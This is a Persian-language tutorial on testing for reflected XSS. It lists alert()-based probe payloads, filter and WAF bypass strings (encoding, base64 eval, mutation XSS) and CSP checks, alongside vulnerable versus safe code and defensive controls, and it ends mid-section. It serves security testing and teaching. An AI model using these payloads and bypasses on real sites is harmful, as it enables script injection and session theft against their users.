تست XSS بازتابی

XSS بازتابی چیست؟

آسیب‌پذیری Cross-Site Scripting بازتابی (Reflected XSS) زمانی رخ می‌دهد که برنامه وب داده‌های دریافتی از کاربر را بدون اعتبارسنجی و خروجی‌گیری مناسب در پاسخ HTTP بازتاب دهد. مهاجم می‌تواند اسکریپت‌های مخرب JavaScript را از طریق URL یا پارامترهای درخواست به برنامه تزریق کند.

سطح ۱: مبانی — درک فنی آسیب‌پذیری

چرا XSS وجود دارد؟

XSS زمانی رخ می‌دهد که برنامه ورودی کاربر را در خروجی HTML قرار می‌دهد بدون اینکه کاراکترهای خاص را رمزگذاری کند. مشکل اصلی ترکیب کد و داده در خروجی HTML است. وقتی برنامه داده‌های کاربر را مستقیماً در HTML قرار می‌دهد، مرورگر نمی‌تواند تشخیص دهد کدام بخش کد است و کدام بخش داده.

1<!-- کد آسیب‌پذیر - ترکیب کد و داده -->
2<p>نتایج جستجو برای: <?php echo $query; ?></p>
3
4<!-- اگر کاربر وارد کند: <script>alert('XSS')</script> -->
5<!-- خروجی تبدیل می‌شود به: -->
6<p>نتایج جستجو برای: <script>alert('XSS')</script></p>
7<!-- مرورگر اسکریپت را اجرا می‌کند! -->

1<!-- کد امن - رمزگذاری خروجی -->
2<p>نتایج جستجو برای: <?php echo htmlspecialchars($query, ENT_QUOTES, 'UTF-8'); ?></p>
3
4<!-- خروجی تبدیل می‌شود به: -->
5<p>نتایج جستجو برای: &lt;script&gt;alert('XSS')&lt;/script&gt;</p>
6<!-- مرورگر متن را نمایش می‌دهد، نه کد را -->

Context‌های مختلف XSS

انواع XSS

سطح ۲: تست حرفه‌ای

روش‌شناسی تست جامع

1. شناسایی تمام نقاط ورودی (URL parameters, form fields, headers)
2. تحلیل رفتار عادی برنامه (baseline behavior)
3. تست با payload‌های ساده برای شناسایی آسیب‌پذیری
4. شناسایی context (HTML, attribute, JavaScript, URL)
5. تست فیلترها و دور زدن آن‌ها
6. ارزیابی تأثیر (cookie theft, session hijacking)
7. جمع‌آوری شواهد (request/response, screenshot)
8. تست CSP و سایر مکانیزم‌های دفاعی

شناسایی نقاط ورودی

تمام نقاط ورودی که داده‌های کاربر را دریافت می‌کنند شناسایی کنید:

• پارامترهای URL (query strings)
• فیلدهای فرم (POST data)
• هدرهای HTTP (Cookie, User-Agent, Referer)
• فایل‌های آپلود شده (نام فایل، محتوا)
• پارامترهای API (JSON, XML)
• Fragment identifiers (#)
• Path parameters

تست با payload‌های ساده

1// تست ساده
2<script>alert('XSS')</script>
3
4// تست با تگ‌های جایگزین
5<img src=x onerror=alert('XSS')>
6<svg onload=alert('XSS')>
7<body onload=alert('XSS')>
8<input onfocus=alert('XSS') autofocus>
9<details open ontoggle=alert('XSS')>
10
11// تست attribute
12" onfocus=alert('XSS') autofocus="
13' onfocus=alert('XSS') autofocus='
14
15// تست JavaScript
16javascript:alert('XSS')
17
18// تست encoding
19%3Cscript%3Ealert('XSS')%3C/script%3E
20\x3cscript\x3ealert('XSS')\x3c/script\x3e

تست فیلترها و دور زدن

1// تغییر حروف
2<ScRiPt>alert('XSS')</ScRiPt>
3<SCRIPT>alert('XSS')</SCRIPT>
4
5// استفاده از encoding
6<img src=x onerror=\x61lert('XSS')>
7<svg onload=\u0061lert('XSS')>
8
9// استفاده از تگ‌های جایگزین
10<iframe src=javascript:alert('XSS')>
11<embed src=javascript:alert('XSS')>
12<object data=javascript:alert('XSS')>
13
14// استفاده از event handler‌ها
15<img src=x onerror=alert('XSS')>
16<svg onload=alert('XSS')>
17<body onload=alert('XSS')>
18<input onfocus=alert('XSS') autofocus>
19<details open ontoggle=alert('XSS')>
20
21// استفاده از encoding مختلف
22<img src=x onerror=&#97;&#108;&#101;&#114;&#116;('XSS')>
23<svg onload=&#x61;&#x6C;&#x65;&#x72;&#x74;('XSS')>

تحلیل پاسخ و شواهد

در تست حرفه‌ای، هر پاسخ باید مستند شود:

• درخواست HTTP کامل (headers, parameters, body)
• پاسخ HTTP کامل (status code, headers, body)
• تفاوت بین پاسخ عادی و پاسخ آسیب‌پذیر
• تأثیر مشاهده شده (alert, cookie access, DOM manipulation)
• شرایط بازتولید (reproduction steps)
• اسکرین‌شات از اجرای اسکریپت

تست CSP

Content Security Policy (CSP) لایه دفاعی مهمی در برابر XSS است:

1Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self';

• بررسی وجود CSP در هدرهای پاسخ
• تحلیل سیاست CSP و شناسایی ضعف‌ها
• تست دور زدن CSP با روش‌های مختلف
• بررسی CSP reporting برای شناسایی نقض‌ها

سطح ۳: پیشرفته

XSS در SPA‌ها و معماری‌های مدرن

در برنامه‌های تک‌صفحه‌ای (SPA) و معماری‌های مدرن، XSS ممکن است از طریق مسیرهای متفاوتی رخ دهد:

• DOM manipulation در React, Vue, Angular
• Client-side routing و URL handling
• postMessage و cross-origin communication
• WebSockets و real-time data
• Service Workers و caching
• Client-side template injection

DOM-based XSS پیشرفته

1// آسیب‌پذیر - استفاده از innerHTML
2document.getElementById('output').innerHTML = location.hash.substring(1);
3
4// آسیب‌پذیر - استفاده از eval
5eval(location.hash.substring(1));
6
7// آسیب‌پذیر - استفاده از document.write
8document.write(location.search.substring(1));
9
10// امن - استفاده از textContent
11document.getElementById('output').textContent = location.hash.substring(1);

Mutation-based XSS

در برخی موارد، مرورگر ممکن است HTML را به‌صورت متفاوتی تفسیر کند که منجر به XSS می‌شود:

1<!-- مرورگر ممکن است این را به‌صورت متفاوتی تفسیر کند -->
2<noscript><p title="</noscript><img src=x onerror=alert(1)>">
3
4<!-- یا -->
5<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

Self-XSS و محدودیت‌ها

Self-XSS نوعی XSS است که فقط خود کاربر می‌تواند آن را اجرا کند. اگرچه ممکن است خطرناک به نظر نرسد، اما می‌تواند در حملات فیشینگ استفاده شود.

WAF Bypass تکنیک‌ها

1// استفاده از encoding مختلف
2<img src=x onerror=\x61lert('XSS')>
3<svg onload=\u0061lert('XSS')>
4
5// استفاده از تگ‌های ناشناخته
6<details open ontoggle=alert('XSS')>
7<marquee onstart=alert('XSS')>
8
9// استفاده از encoding در attribute
10<img src=x onerror=&#97;&#108;&#101;&#114;&#116;('XSS')>
11
12// استفاده از base64
13<img src=x onerror=eval(atob('YWxlcnQoJ1NTWCcp'))>
14
15// استفاده از URL encoding
16%3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3E

تحلیل زنجیره حمله

XSS می‌تواند با سایر آسیب‌پذیری‌ها ترکیب شود:

• XSS → سرقت Session → دسترسی به حساب کاربری
• XSS → تزریق keylogger → سرقت اطلاعات حساس
• XSS → تغییر صفحه → فیشینگ
• XSS → ارسال درخواست → CSRF
• XSS → دسترسی به API → استخراج داده

جمع‌آوری شواهد حرفه‌ای

شواهد قوی شامل موارد زیر است:

• درخواست HTTP کامل با تمام هدرها و پارامترها
• پاسخ HTTP کامل با status code و هدرها
• اسکرین‌شات از اجرای اسکریپت
• کد JavaScript اجرا شده
• تأثیر مشاهده شده (alert, cookie access)
• مراحل بازتولید دقیق
• شرایط خاص (browser, context)

مثبت کاذب و منفی کاذب

مثبت کاذب (False Positive)

• فیلترهای ناقص که فقط بخشی از payload را فیلتر می‌کنند
• خروجی‌گیری ناقص که فقط در بعضی context‌ها کار می‌کند
• CSP که از اجرای اسکریپت جلوگیری می‌کند

منفی کاذب (False Negative)

• XSS در context‌های خاص که با payload ساده شناسایی نمی‌شود
• Mutation-based XSS که با ابزارهای خودکار شناسایی نمی‌شود
• DOM-based XSS که در پاسخ HTTP قابل مشاهده نیست

تأثیر

• سرقت کوکی‌ها و Session کاربران
• اجرای کد مخرب در مرورگر قربانی
• تغییر محتوای صفحه برای فیشینگ
• دسترسی به اطلاعات حساس مرورگر
• هدایت کاربر به سایت‌های مخرب
• نصب بدافزار
• سرقت اطلاعات ورود

راه‌حل‌های پیشرفته

معماری امن

• خروجی‌گیری مناسب (Output Encoding) برای تمام خروجی‌ها
• استفاده از فریمورک‌های امن با محافظت داخلی XSS
• جداسازی داده و کد در خروجی
• استفاده از Content Security Policy (CSP)
• استفاده از Trusted Types

کنترل‌های فنی

• Output Encoding برای context‌های مختلف
• Input Validation در سمت سرور
• Content Security Policy (CSP)
• HttpOnly flag برای کوکی‌ها
• X-XSS-Protection header (deprecated اما هنوز مفید)
• X-Content-Type-Options: nosniff
• Subresource Integrity (SRI)

خروجی‌گیری مناسب